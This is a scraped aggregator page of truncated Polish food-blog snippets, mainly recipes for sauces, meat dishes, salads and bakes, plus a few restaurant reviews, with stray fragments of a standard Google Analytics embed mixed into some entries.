kolejności dorzucamy: czosnek, tymianek, bazylię. Podsmażamy chwilę i dolewamy wino oraz bulion. Doprowadzamy całość do wrzenia i odparowujemy do połowy objętości płynu - wtedy dorzucamy karczochy. Gotujemy do chwili, kiedy sos osiągnie konsystencję syropu. Ciasto dzielimy na dwie części - jedną nieco większą od drugiej. Większą wykładamy formę do tarty. Podpiekamy ciasto w 180 stopniach przez 5 minut. Po tym czasie wyciągamy

Życie zamknięte w smaku
Cukinia panierowana w cieście z pieprzem cayenne 194

cukinii jest ostre w smaku i chrupiące. Sama cukinia nie zamienia się w breję, ale zachowuje naturalną dla siebie konsystencję i również chrupie ;) Fantastycznie smakuje polana słodko - kwaśnym sosem chilli! Mniam! CUKINIA PANIEROWANA W CIEŚCIE Z PIEPRZEM CAYENNE Składniki: - 5 łyżek mąki kukurydzianej - 1 łyżeczka soli - szczypta pieprzu cayenne - 150 mililitrów wody - 1 kilogram cukinii - sól Przygotowanie: Mąkę przesiewamy, dodajemy

Życie zamknięte w smaku
Dynia w occie 164

kostkę, zasypujemy cukrem, zalewamy octem i zostawiamy na noc. Następnego dnia całość gotujemy przez kilka minut dla wymieszania składników i pewności rozpuszczenia cukru. Wkładamy do słoików, uzupełniamy pozostałym sosem, zamykamy i pasteryzujemy przez około 10 minut. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Polędwiczka wieprzowa w sosie śmietanowo-maślanym z pieczarkami 185

zwykle. Za dużo nauki, za dużo pisania, za dużo czytania. Za mało czasu na gotowanie, na jedzenie, na dbanie o bloga. Pamiętam o Was, naprawdę. POLĘDWICZKA WIEPRZOWA W SOSIE ŚMIETANOWO-MAŚLANYM Z PIECZARKAMI Składniki: - polędwiczka wieprzowa  - 100 gram masła - 150 ml śmietany słodkiej 18% - 250 gram pieczarek - sól,  - pieprz - olej Przygotowanie: Polędwiczkę przyprawiamy solą i pieprzem. Pozostawiamy

Życie zamknięte w smaku
Kurczak z nadzieniem a'la węgierskim 187

przez tydzień będzie się nim żywił. Dzisiaj kurczak pieczony, nadziewany. Możecie odciąć mu skrzydełka oraz szyję i zrobić z nich niewielką ilość wywaru do małej ilości zupy bądź sosu. KURCZAK Z NADZIENIEM A'LA WĘGIERSKIM Składniki: - 1 kurczak - 2 papryki słodkie (najlepiej różnokolorowe) - 1 papryczka chilli - 5 ziemniaków - 2 cebule - 4 ząbki czosnku - 5 łyżek miodu - przyprawy: sól, pieprz cayenne

Życie zamknięte w smaku
Pizza z patelni 183

serem w plasterkach. Smażymy pizzę przez około 15-20 minut, najlepiej pod przykryciem, na średnio rozgrzanej kuchence. Dobrze jest sprawdzać patyczkiem, czy pizza jest już gotowa. Podajemy z ulubionym sosem. Voila! :) Smacznego i do napisania wkrótce! :) (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Życie zamknięte w smaku
Polędwiczka w musztardzie 175

Polędwiczka to naprawdę doskonałe mięso. Jeden z przepisów na nią wstawiłam już na bloga ( Polędwiczka wieprzowa w sosie śmietanowo-maślanym z pieczarkami ), teraz przyszedł czas na drugi. Mam nadzieję, że przypadnie Wam do gustu. POLĘDWICZKA W MUSZTARDZIE Składniki: - 1 polędwiczki wieprzowe - 1 łyżka musztardy francuskiej - 1 łyżka musztardy meksykańskiej - 1 łyżka musztardy sarepskiej - olej Przygotowanie: Musztardy mieszamy razem, nacieramy polędwiczki

Życie zamknięte w smaku
Sajgonki majonezowe z piersią kurczaka i kolendrą 188

krokiety albo w ten sposób . Smażymy na głębokim tłuszczu - są gotowe, gdy nabiorą koloru i stwardnieją. Usmażone sajgonki przekładamy na papierowy ręcznik, aby pozbawić je nadmiaru tłuszczu. Podajemy w sosem chilli słodko-pikantnym lub każdym innym, na który mamy ochotę ;) Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Placki ziemniaczane 173

drobniutką kosteczkę, a czosnek przeciskamy przez praskę. Wszystkie te składniki łączymy w jednym naczyniu. Dodajemy mąkę i doprawiamy pieprzem oraz solą. Smażymy na rozgrzanym tłuszczu. Podajemy ze śmietaną, ciemnym sosem lub cukrem - wedle uznania. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
" Risotto " z królikiem 267

Możecie wrzucić do niego dosłownie wszystko, to tylko jeden z przykładów - z czasem zaprezentuję ich więcej, ale spróbujcie też sami poeksperymentować ;) W tym przepisie wykorzystałam resztki królika pieczonego w sosie śmietanowym z cebulą . "RISOTTO" Z KRÓLIKIEM Składniki: - 1 torebka ryżu białego - dowolna ilość gotowego mięsa (u mnie królik) - pół puszki kukurydzy - pół puszki groszku - pół puszki fasoli czerwonej - 1 cebula

Życie zamknięte w smaku
Consommé drobiowe z porowo-szpinakowym ravioli 213

przez około 5-10 minut. Dodajemy przeciśnięty przez praskę czosnek, doprawiamy solą i białym pieprzem (dość intensywnie, bo po zamknięciu w cieście farsz wyda się delikatniejszy). Redukujemy nadmierną ilość sosu przez odkrycie patelni i parowanie aż do uzyskania pożądanej konsystencji. Ostudzony farsz wykładamy małymi porcjami na cienko rozwałkowane ciasto. Kulki farszu układamy w kilkucentymetrowych odstępach i pokrywamy nimi całym płat

Życie zamknięte w smaku
Tydzień z podrobami: Cynaderki duszone w ciemnozłotym sosie z cebulą 228

przerażały płucka. Mają jednak swój szkopuł - długi czas czyszczenia i bardzo charakterystyczny zapach podczas przyrządzania. Myślę jednak, że akurat one mogłyby wielu osobom zasmakować. CYNADERKI DUSZONE W CIEMNOZŁOTYM SOSIE Z CEBULĄ Składniki: - 600 gram nerek wieprzowych - 30 gram mąki - 60 gram tłuszczu - 250 mililitrów wywaru/rosołu - 50 gram cebuli - pieprz - sól Przygotowanie: Nerki płuczemy, rozcinamy wzdłuż, ale nie przekrawamy całkowicie

Życie zamknięte w smaku
Domowe hamburgery wołowe z bułką sezamową 278

zdrowej wersji nie jest już problemem. Burgerowe foodtrucki podbiły wiele serc i nie ma się czemu dziwić: świeże mięso, a nie jakieś mrożonki składowane przez ostatnie dwa lata; naturalne sosy i świeże warzywa. Takiego hamburgera można jednak przygotować także w domu. Od sezamowej bułki do soczystego burgera. DOMOWE HAMBURGERY Składniki na bułki: - 500 gram mąki - 75 mililitrów mleka - 80 mililitrów

Życie zamknięte w smaku
Kiełbasa nadziewana na makaron w sosie pomidorowym 175

spędzenia ogromu czasu w kuchni (chociaż potrawy czasochłonne także przyrządzać będę, nie wycofuję się z tego). Dzisiaj coś, co z pewnością zdobędzie wasze podniebienia ;) KIEŁBASA NADZIEWANA NA MAKARON W SOSIE POMIDOROWYM Składniki: - 200 gram makaronu spaghetti - 250 gram dowolnej kiełbasy - 2 cebule - 750 mililitrów passaty - woda - pieprz cayenne - pieprz czarny - sól Przygotowanie: Kiełbasę kroimy na średniej grubości plastry i podsmażamy

Życie zamknięte w smaku
Krewetki panierowane 180

a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-42916170-1', 'auto'); ga('send', 'pageview'); KREWETKI PANIEROWANE Składniki: - krewetki, ilość dowolna - mąka - woda - sól - ulubione sosy, u mnie: słodko-pikantny chilli oraz chili z limonką i kolendrą Przygotowanie: Krewetki obieramy (odejmujemy głowę, zdejmujemy pancerz, wycinamy przewód pokarmowy). Rozgrzewamy tłuszcz. W jednej misce umieszczamy wodę, w drugiej

Życie zamknięte w smaku
Sushi Futomaki z makrelą, surimi i wasabi 184

wolnej krawędzi. Uciskamy lekko matę, a następnie ją rozwijamy. Rulon przekładamy na deskę do krojenia i dzielimy na 8 części. Przygotowujemy futomaki aż do braku składników. Podajemy z sosem sojowym i marynowanym imbirem. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Jabłecznik z ciasta ucieranego z pianką 249

sezonie jesienno-zimowym ilość jabłeczników mnie przytłacza. Zapach korzennych przypraw, sosy i lody waniliowe, jabłka siekane, tarte i w ćwiartkach; tarty, muffiny, babeczki, kruche i półkruche, francuskie i półfrancuskie. Istnieje kilka przepisów, które wykorzystuję najczęściej: szwedzkie babeczki z jabłkami i cynamonem , tarta z jabłkami w masie śmietanowej , tradycyjny apple pie z cynamonem i karmelem . Czasami jednak potrzebuję odmiany. Ten przepis

Życie zamknięte w smaku
Zapiekanka makaronowa z porem, selerem naciowym i udkami z kurczaka w sosie śmietanowym 348

auto'); ga('send', 'pageview'); Nie chciałabym rozstać się z tym blogiem. Rozważałam to i wiem, że nie jestem gotowa. ZAPIEKANKA MAKARONOWA Z POREM, SELEREM NACIOWYM I UDKAMI KURCZAKA W SOSIE ŚMIETANOWYM Składniki: - 500 gramów udek z kurczaka bez kości - 4-5 porów - kilka łodyg selera naciowego - 250 gramów makaronu (u mnie penne, ale to nie obowiązek) - 200 mililitrów śmietany

Życie zamknięte w smaku
Sernik pistacjowy z polewą z białej czekolady 187

kremówkę podgrzewamy w małym garnuszku, prawie do wrzenia, zestawiamy z palnika. Dodajemy białą czekoladę, odstawiamy na 2 minuty. Po tym czasie mieszamy, do roztopienia się czekolady. Odstawiamy do zgęstnienia sosu - powinien mieć konsystencję dobrą do smarowania. Schłodzony sernik smarujemy białą polewa. Całość oprószamy dodatkowymi posiekanymi pistacjami (opcjonalnie). Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Zapiekanka z cukinią, mięsem mielonym i pieczarkami 214

odrobiną tłuszczu. Wykładamy do miseczki. Na tej samej patelni podsmażamy mięso mielone, dodajemy do niego pomidory. Gotujemy chwilę i doprawiamy wyraźnie paprykami, bazylią, pieprzem i solą. Mięso z sosem wykładamy na cukinię. Na tym umieszczamy: osączony groszek, pieczarki oraz ser. Podpiekamy około 20-30 minut w piekarniku rozgrzanym do 170 stopni. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Czy za 40 lat nie będzie ryb? 207

życiu, którego zjadłam ze smakiem; tak samo, jak reszta zdziwionych tym uczestników warsztatów), pieczoną w papilotach makrelę (moje danie! pyszne!) oraz czarniaka na kaszy owsianej z miętą i sosem holenderskim (niebo w gębie!). Wszystkie dania były świetne, chociaż śledzie wypadły dla mnie najgorzej, jako te najpowszechniejsze. Wielu z uczestników jednak nie widziało nigdy podobnie przygotowanej ryby, więc było to danie

Życie zamknięte w smaku
Odwrócone roladki z kurczaka 167

papryką, zwijamy w roladkę i zabezpieczmy ( owijamy ) nitką lub sznurkiem. Roladki obsmażamy na oleju z każdej strony, podlewamy bulionem i dusimy ok 30 minut. SMACZNEGO Możemy do roladek zrobić sos wykorzystując wywar który powstał na bazie bulionu podczas duszenia. Odlewamy ok 600 ml wywaru, dodajemy 50 ml 18% śmietany oraz 1 łyżeczkę mąki. Wszystko razem porządnie mieszamy, zagotujemy

Smaki Ewy
Farszynki czyli warmińsko – mazurskie ziemniaczane kotlety 327

oraz sól do smaku. Rolujemy wałek, który kroimy na kawałki. Na każdy kawałek nakładamy farsz, zawijamy i formujemy kotlety. Smażymy na rozgrzanym oleju na złoty kolor. Farszynki podajemy z sosem. SMACZNEGO

Smaki Ewy
Gulasz z serc indyczych z pieczarkami 148

gotujemy. Następnie zagęszczamy śmietaną z mąką ( dobrze jest odlać trochę wywaru dodać do niego śmietanę, mąkę i razem wymieszać przed wlaniem do całości ). Doprawiamy solą i pieprzem. Gotujemy aż sos zacznie gęstnieć. Po zakończeniu gotowania dodajemy pokrojoną natkę pietruszki. SMACZNEGO

Smaki Ewy
Kurczak w sosie kurczakowym 146

olej i obsmażamy kurczaka z każdej strony. Następnie podlewamy ok. 500- 700 ml wody. Dusimy pod przykryciem do miękkości ok. 40 minut. SMACZNEGO. ( najlepiej smakuje z tłuczonymi ziemniakami z sosem z kurczaka i surówkami

Smaki Ewy
Żołądki drobiowe w sosie chrzanowym 143

słodkiej śmietany i 2 łyżeczki mąki, wszystko razem mieszamy, następnie wlewamy do całości i dodajemy tary chrzan ( ilość zależna od upodobania, daję kilka łyżek ) . Gotujemy chwilę, aż sos zacznie gęstnieć. SMACZNEGO

Smaki Ewy
Nadziewany wyluzowany kurczak 186

aluminiową i tak pieczemy do końca. Po upieczeniu i zdjęciu kurczaka podlewamy blaszkę szklanką wody, całość zlewamy ( przecieramy ) przez sitko do garnka, ewentualnie doprawiamy i dzięki temu mamy pyszny sos. SMACZNEGO

Smaki Ewy
Placuszki z cukinii 155

odciekł nadmiar płynu. Z mleka, jajek, mąki robimy ciasto naleśnikowe ale bardzo gęste. Do ciasta dodajemy odsączone owoce/ warzywa, mieszamy, doprawiamy solą i smażymy na zloty kolor. Podajemy z sosem czosnkowym ( przepis na blogu ). SMACZNEGO

Smaki Ewy
Polędwiczka wieprzowa nadziewana wędzonym boczkiem 197

przez 30 minut. Po tym czasie polędwiczkę wyjmujemy, odkładamy na talerz, zlewamy całą zawartość patelni i miksujemy lub przecieramy. Ponownie wlewamy na patelnię, dodajemy śmietanę i ponownie umieszczamy w sosie polędwiczkę. Dusimy ok. 5 minut. I gotowe. SMACZNEGO

Smaki Ewy
Kurczak w białym słodko-kwaśnym sosie z rodzynkami 188

jego wykonaniu zależnie od regionu Polski. Osobiście dla mnie tak wykonany kurczak to już tradycja. Składniki: 1 kurczak 3 marchewki 1 pietruszka Kawałek selera 1 cebula Sól, pieprz Woda Sos: 500 ml rosołu 80 gram rodzynek 1 łyżeczka octu 10% 2 łyżeczki cukru pieprz 100 ml śmietany 18% słodkiej Ok 3 łyżeczki mąki Wykonanie: Kurczaka myjemy, ćwiartujemy i gotujemy

Smaki Ewy
Zapiekanka ziemniaczana z cukinią i pomidorami 209

sycącą zapiekankę ziemniaczaną z cukinią. Można do jej wykonania wykorzystać także mięso, które zostało nam z dnia poprzedniego. Składniki: 1 kg ziemniaków 1 cukinia 2 kiełbasy Kurczak z sosu Pomidory 1 cebula 2 jajka 1 szklanka mleka 3 ząbki czosnku Sól, pieprz vegeta Wykonanie: Ugotowane w osolonej wodzie ziemniaki w mundurkach ( ugotowane nie do końca miękkie )obieramy, kroimy w plastry

Smaki Ewy
Paprykowe pulpety 178

Przedstawiam kolejne danie z  mięsa mielonego, ale oczywiście inne w smaku, bo o  smaku papryki. Niech nikogo nie zmyli kolor - w tych pulpetach i w sosie nie ma  pomidorów. Zresztą sami spróbujcie. Składniki: 500 gram mięsa mielonego ½ papryki czerwonej ½ papryki żółtej ½ papryki zielonej 1 jajko ½ szklanki bułki tartej 100 mleka Sól 1 łyżeczka papryki słodkiej + ½ łyżeczki ¼ łyżeczki

Smaki Ewy
Jajka w galarecie - z niespodzianką 187

odpowiednią ilość żelatyny ( już nie gotujemy ), intensywnie mieszamy. Wlewamy delikatnie do form z jajkami. Po schłodzeniu wstawiamy do lodówki.  Stężone galaretki, wyjmujemy z form i podajemy z ulubionym sosem ( czosnkowy, tatarski ). SMACZNEGO

Smaki Ewy
Zapiekane ziemniaczki z kolendrą 146

Dzisiaj proponuję zapiekane ziemniaczki z kolendrą. Warto wypróbować ten przepis gdy na obiad podajemy potrawę bez sosu typu: smażona ryba, kotlety schabowe. Propozycja prosta w wykonaniu a ziemniaki odmienione. Składniki: Dowolna ilość ziemniaków Olej Ziarna kolendry czosnek Masło Sól Wykonanie: Ziemniaki gotujemy w mundurkach. Obieramy i kroimy na połówki. Układamy w naczyniu do zapiekania. Każdego ziemniaka smarujemy olejem i posypujemy

Smaki Ewy
Nadziewana pieczeń wołowa 139

smalcu ze wszystkich stron. Przekładamy do naczynia do pieczenia, ponownie dokładamy warzywa, podlewamy bulionem, pieczemy w temperaturze 190 o C do miękkości. Miękkie mięso wyjmujemy, kroimy w plastry, sos miksujemy, doprawiam solą i pieprzem. I gotowe. SMACZNEGO

Smaki Ewy
Zapiekanka z makaronem, kurczakiem i nie tylko 180

całą masą warzyw. Oczywiście nie zabrakło również sera. Wykorzystałam kurczaka z poprzedniego dnia ale można usmażyć lub ugotować kurczaka specjalnie do tego dania. Składniki: Kawałki kurczaka ( najlepiej z sosem) ½ opakowania makronu ( świderki ) Mieszanka ze słoika ( marchew, kukurydza, groszek ) 2 ogórki kiszone ½ słoika papryki konserwowej 1 cebula 100 -150  gram startego sera Łyżka oliwy Sól, pieprz Czosnek granulowany Zioła prowansalskie

Smaki Ewy
Nuggetsy – czyli mini kotleciki z kurczaka panierowane w płatkach kukurydzianych 210

kurczaka a dodatkowo szybko. Dzisiaj prezentuję piersi z kurczaka panierowane w płatkach kukurydzianych, danie ekspresowe i smaczne. Może być to danie obiadowe jak i przekąska podawana z dipami, sosami. Składniki: Dowolna ilość piersi z kurczaka Płatki kukurydziane Sól Pieprz Papryka słodka Olej Wykonanie: Kurczaka myjemy, kroimy na mniejsze kawałki ( takie jakie chcemy ), przyprawiamy solą i pieprzem, papryką. Płatki kukurydziane rozkruszamy

Smaki Ewy
Pieczona papryka po portugalsku 185

czasie skórka bardzo łatwo schodzi ). Paprykę dzielimy jeszcze na połowę ( wzdłuż ). Na każdy kawałek nakładamy filecik anchois i zawijamy w rulonik. Układamy na talerzu i polewamy przygotowanym sosem. Wstawiamy do lodówki na 3 -4 godziny. I gotowe. SMACZNEGO

Smaki Ewy
Pikantna sałatka z tuńczykiem, jajkiem, pieczarkami i papryką 224

futerko. Dzięki temu mogłam zrobić sałatkę z tuńczykiem. Sałatka jest pikantna bo z dodatkiem chili, szczypiorkiem i nie tylko. Resztę sami zobaczcie i spróbujcie. Składniki: Tuńczyk z puszki w sosie własnym 1/3 papryki czerwonej 1/3 papryki zielonej 1/3 papryki żółtej Szczypiorek ( ½ pęczka ) Kilka gałązek koperku 4 jajka ugotowane na twardo Kilka marynowanych pieczarek 2 plastry mozzarelli Sól Pieprz czarny chili

Smaki Ewy
Kurczak pieczony na butelce z piwem 148

minut przed końcem pieczenia ustawiamy na termoobieg aby ładnie przyrumienić kurczaka. Można podczas pieczenia na blaszkę wyłożyć ziemniaki i przykryć  folią aby upiekły się w sosie z kurczaka. SMACZNEGO

Smaki Ewy
Jajka faszerowane tuńczykiem i oliwkami 209

która nie lubi jajek, bo jajka są po prostu  pyszne. Dzisiaj proponuję faszerowane. Ale będzie jajeczna rozpusta! Już się cieszę! Składniki: 6 jajek ugotowanych na twardo Tuńczyk w sosie własnym rozdrobniony 1 puszka 15 zielonych oliwek 1 ogórek konserwowy 2 łyżki majonezu Pieprz kolorowy 2 gałązki natki pietruszki 1-2 rzodkiewek Wykonanie: Oliwki, ogórka i pietruszkę bardzo drobno siekamy

Smaki Ewy
Karczma „Sielska Zagroda” – kuchenna rewolucja w Nowym Dworze Gdańskim 235

tylko ją gdzieś znajdzie – tu znalazł, ale tylko w karcie. Zapoznani wcześniej z propozycjami Pani Gessler na przystawkę poprosiliśmy o carpaccio z kaczki. Owszem, smaczne, ale grubo krojone i sos malinowy z  niego uciekł ( w zamian był tam uniwersalny dżem o nieokreślonym smaku ). Szkoda tej niedoróbki, bo mogłaby to być prawdziwa kulinarna perełka. Zamiast zupy rybnej zdecydowaliśmy się

Smaki Ewy
Ziemniaczki zasmażane z suszonymi pomidorami i selerem naciowym 147

Kolejna propozycja na odmienione ziemniaczki. Zdarza się, że na obiad robimy coś smażonego, typu kotlet i sosu brak. W takiej sytuacji proponuję odmienić ziemniaczki a będą one nie tylko efektowne ale i smaczne. Składniki: Dowolna ilość ugotowanych ziemniaków Kilka suszonych pomidorów z oleju Kilka gałązek selera naciowego 2 ząbki czosnku Oliwa spod pomidorów Wykonanie: Na patelnię wylewamy niewielką ilość oliwy

Smaki Ewy
Szparagi zielone z masłem i nutą czosnku 235

zielonych szparagów. Odłamujemy z nich tylko same dolne końcówki ( po zgięciu same doskonale wiedzą gdzie się odłamać ok 2 cm ). Końcówki pozostawiamy, później wykorzystamy je do innej potrawy, do sosu. Szparagi myjemy i gotujemy w osolonej wodzie z dodatkiem masła i cukru do miękkości ( w tym momencie możemy użyć masła zwykłego ), główki powyżej poziomu wody. Na patelni z klarowanym masłem

Smaki Ewy
Restauracja La Falua w Benidorm - śródziemnomorskie kulinarne szaleństwo 192

specjalność regionu Walencji, w którym gościliśmy. Żeby jednak było ciekawiej to w wersji z homarem. Czekając na ucztę zajadaliśmy się podanymi jako starter ciepłymi bułeczkami z 3-ma rodzajami sosów - najsmaczniejszy był czosnkowy i  pomidorowy ( inny niż u nas, bo ze świeżych pomidorów ) Uważajcie! To pułapka! Są tak pyszne, że możecie najeść się już przed obiadem. Zwłaszcza

Smaki Ewy
Sałatka ziemniaczana z kiszonym ogórkiem i dymką 195

plastry około 1 cm. Cebulę ze szczypiorem drobno siekamy, ogórki kroimy w większą kostkę. Majonez mieszamy ze śmietaną, przyprawiamy solą, pieprzem i papryką. W misce układamy ziemniaki, smarujemy sosem, posypujemy ogórkami i cebulą dymką. Ponownie układamy ziemniaki i tak do zużycia wszystkich składników. Na koniec dodatkowo dodajemy pokrojone na mniejsze kawałki suszone pomidory. SMACZNEGO. (function

Smaki Ewy
Stek z marlina zapiekany w sosie ziołowo – szczawiowym 201

mąkę, ketchup oraz zioła: cząber, pietruszkę, 2 łyżki koperku, mieloną kolendrę, majeranek i posiekany szczaw. Doprawiamy sola, pieprzem, sokiem z cytryny i szczyptą cukru. Po zamarynowaniu ryby zalewamy przygotowanym sosem, posypujemy serem i wiórkami masła. Zapiekamy w piekarniku przez 20 minut w temperaturze 180 o C. Przed podaniem dodatkowo posypujemy koperkiem. SMACZNEGO. (function

Smaki Ewy
Zupa porowo – szparagowa 157

wykonaniu. Na dzisiaj proponuję zupę porowo – szparagową w której wykorzystamy części szparagów bez główek (  te są najlepsze ). Główki możemy wykorzystać później do tarty ze szparagami lub sałatki z sosem holenderskim ( oba przepisy prezentowane na blogu ) a dzisiaj przetworzymy te „mniej lepsze” części szparagów. Składniki: Pęczek białych szparagów bez główek 3 pory 2 marchewki Pietruszka Kawałek selera 3 – 4 ziemniaki

Smaki Ewy
Restauracja na Zamku w Gniewie – w Hotelu Rycerskim 234

drugie dania nie czekaliśmy długo – i to kolejna zaleta tego miejsca. Zamówienia trafiają na stół naprawdę w dobrym czasie. Moje drugie danie to poliki wołowe w aromatycznym winno-korzennym sosie. Pyszne, rozpływające się w ustach. Niestety, nie przewidziałam dodatku cynamonu, na który jestem uczulona. Opłaciłam więc to szaleństwo kilkugodzinnym katarem. Mąż chwalił łososia z grilla podanego z leniwymi pierożkami

Smaki Ewy
Rolada schabowa ze śliwką 166

możemy podlać trochę wody na blaszkę, wymieszać aby nic nam się nie zmarnowało). Podgotowujemy. Lekko miksujemy, doprawiamy solą, pieprzem ewentualnie odrobiną cukru ( według uznania ). Pokrojoną roladę podajemy z przygotowanym sosem. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
Karkówka – marynujemy, grillujemy 192

pojemnika/ miski i przekładamy plasterkami cebuli. Przykrywamy. Wstawiamy do lodówki.  Całość marynujemy kilka godzin ( można pozostawić na noc ). Grillujemy z obu stron. Idealnie pasuje do sałatki ziemniaczanej i sosu czosnkowego ( publikowanych na blogu ). SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
Królik pieczony w winie 440

godziny i 45 minut dla 1 kg tuszki, a ok. 3 godziny dla 1,2 kg tuszki. Potem rozcinamy rękaw i wyjmujemy mięso na półmisek. Polewamy sosem z rękawa. Pieczony królik będzie świetnie komponował się z ziemniakami z piekarnika lub bagietką. Post Królik pieczony w winie pochodzi z bloga Poezja smaku

Poezja smaku
Placki ziemniaczane z sosem koperkowym 257

drobną kostkę. Do ziemniaków dodajemy wszystkie składniki i mieszamy.  Na rozgrzaną patelnię nakładamy dużą łychą porcje ciasta i smażymy do momentu zarumienienia. Do placków świetnie nadaje się sos koperkowy. Składniki 1 mały jogurt pęczek koperku sól, pieprz Koperek siekamy drobno i mieszamy z jogurtem, przyprawiamy i gotowe! Smacznego

Cukier&Puder
Grillowany schab z kurkami w sosie śmietanowym 211

posiekaną cebulą na rozgrzanym maśle przez około 4 minuty. Pod koniec smażenia solimy. Następnie wlewamy śmietankę i dodajemy tarty ser. Dodajemy listki świeżego tymianku. Mieszamy i doprawiamy pieprzem. Sos podajemy z ugotowanym makaronem oraz z grillowaną porcją mięsa

Bon Appetit Małgorzaty
Zupa z pieczonych pomidorów i ciecierzycy 160

się, a następnie miksuje w blenderze, uzyskując gładki i treściwy krem. Pieczone pomidory są pyszne i słodkie i mogą stanowić świetną bazę nie tylko do zup, ale też np. sosów do makaronu czy tego dipu do wszystkiego . Pieczony czosnek nadaje zupie głębi, a świeża bazylia świeżości. Zupę możecie jeść na ciepło, ale równie świetnie będzie smakować na zimno. Polejcie porcję

Chilli Czosnek i Oliwa
Fasolka szparagowa do obiadu 314

Przełożyć na talerze, polać oliwą, posypać solą i świeżo zmielonym pieprzem. Podawać jako dodatek do obiadu. Takie dobre, a jakie łatwe w przygotowaniu :) ---------- Podobne: Gotowana kukurydza Pieczona dynia z sosem śliwkowym I jeszcze kilka zdjęć z regionu, któremu zawdzięczam ten wspaniały smak fasoli szparagowej :D Rodan, w drodze do Awinionu W drodze do Awinionu Awinion - częściowo zachowany most

Weekendy w domu i ogrodzie
SCHAB W CEBULI A'LA STEK 292

podlewamy 1/3 szkl. bulionu (lub wody) i dusimy pod przykryciem, aż mięso będzie miękkie (długość duszenia zależy od jakości naszego schabu). Pod koniec duszenia zdejmujemy pokrywkę pozwalając, aby powstały sos trochę odparował.  Podajemy z ziemniakami lub kaszą ugotowaną na sypko

Walijskie Pichcenie
Sałatka z nutą syropu trzcinowego 210

Sałatka na zaspokojenie głodu. Szybka w przygotowaniu i smaczna. Sos do sałatki jest z dodatkiem trzcinowego syropu, który idealnie pasuje nie tylko do słodkości ale i różnego rodzaju sałatek. Szybko i smacznie to w tych upałach ostatnio ważne. Mało pracy a efekt super. Rozwiń i czytaj przepis

Ewa w kuchni
sałatka brokułowa 421

minuty, aż będzie miał złocisty kolor ser feta kroimy w kosteczkę w półmisku układamy brokuły, posypujemy kukurydzą, cebulą, pomidorami, serem feta, solimy i pieprzymy, a następnie polewamy sosem - czynności powtarzamy na przemian, a na koniec posypujemy uprażonym słonecznikiem sałatkę podajemy z pieczywem i grillowanym mięsem

zobacz ich smak
Zupa kurkowa ze śmietaną 248

Zupa kurkowa jest chyba jedną z lepszych zup grzybowych. A z dodatkiem koperku i śmietany zamienia się w prawdziwy raj dla podniebienia. Z kurek możecie przygotować też pyszny  sos . Składniki (na średni garnek): 500 g kurek 1 średniej wielkości cebula 15 młodych ziemniaków 1 spory pęczek koperku włoszczyzna (3 marchewki, 2 pietruszki z nacią, 1 seler z nacią

W SMAK
Mini burgery pieczarkowo-jajeczne 182

twardo 1 jajko pęczek natki pietruszki sól pieprz bułka tarta olej do smażenia   Dodatki: 2 pomidory 12 mini bułek sałatka 12 plasterków sera topionego w plastrach ulubiony sos Czytaj dalej... Artykuł Mini burgery pieczarkowo-jajeczne pochodzi z serwisu Pasja Smaku

Pasja Smaku
Wielka mini przyjemność 183

dokładnie śmietanę z masą serową.  Wlej mieszankę do każdej z papilotek, wyrównaj wierzch. Piecz przez 30 minut, następnie zostaw w piekarniku, żeby serniczki wystygły.  Podawaj polane owocowym sosem i przyozdobione owocami.  Możesz też użyć gotowej konfitury, ulubionego dżemu lub syropu

Garniec Magalie
Muszle nadziewane i zapiekane 598

przez praskę czosnek i wszystko wyrobić na gładką masę mięsną. W każdą muszlę nałożyć mięso. Ja robiłam to za pomocą małej łyżeczki. Napełnione mięsem układać ściśle w naczyniu z sosem. Zapiekać w piekarniku nagrzanym do 180 stopni C około 15 minut . Około 6-7 minut przed końcem  pieczenia posypać zapiekankę startym żółtym serem.. muszle nadziewane i zapiekane

O kuchni z uczuciem
Tort traktor 234

piekarniku. Przygotować zasmażkę: Masło rozpuścić w garnku o grubym dnie, dodać mąkę i smażyć przez chwilę. Dolać mleko i energicznie mieszać dalej podgrzewając do momentu, aż znikną grudki a sos zgęstnieje. Zasmażkę ostudzić. Masło rozetrzeć z cukrem. Dalej ubijając dodawać po 1 łyżce zasmażki. Do masy dodać sok z cytryny i dokładnie wymieszać. Przygotować herbatę do nasączenia ciasta: Zaparzyć mocną

Mama Gotuje
Pozdrowienia z wakacji, sos pomidorowo – paprykowy 128

domu było. Było trochę leniwie, więc i takie będą te przepisy. Serdecznie was pozdrawiam i mam nadzieję, że wy też macie, mieliście lub mieć będziecie udane wakacje :) Zacznę od sosu który był wykorzystywany na różne

Polska Zupa
Kopytka marchewkowe z kurkami 233

wyjątkowe, bo są w pięknym, słonecznym kolorze oraz mają bardzo ciekawy i leciutko słodkawy smak, dzięki marchewce. Kurki przygotowywane są na białym, słodkim winie i o ile w śmietanowym sosie z kurek  można było wino pominąć, tak tutaj nie rezygnujcie z jego dodatku- to ono dodaje wyrazistości i charakteru! Wręcz doskonałe zestawienie, które polecam wypróbować :) Kopytka: * ziemniaki

Kraina Miodem Płynąca
Dip z awokado 165

My Blueberry Corner by "jagodzianka" Lekki, smaczny dodatek. Pasuje do placków ziemniaczanych i z cukinii lub kabaczka , do kanapek, do nachos i placków tortilli … Przeczytaj

My Blueberry Corner
Ryba zapiekana z porami pod sosem jogurtowo-koperkowym i placki z cukinii 162

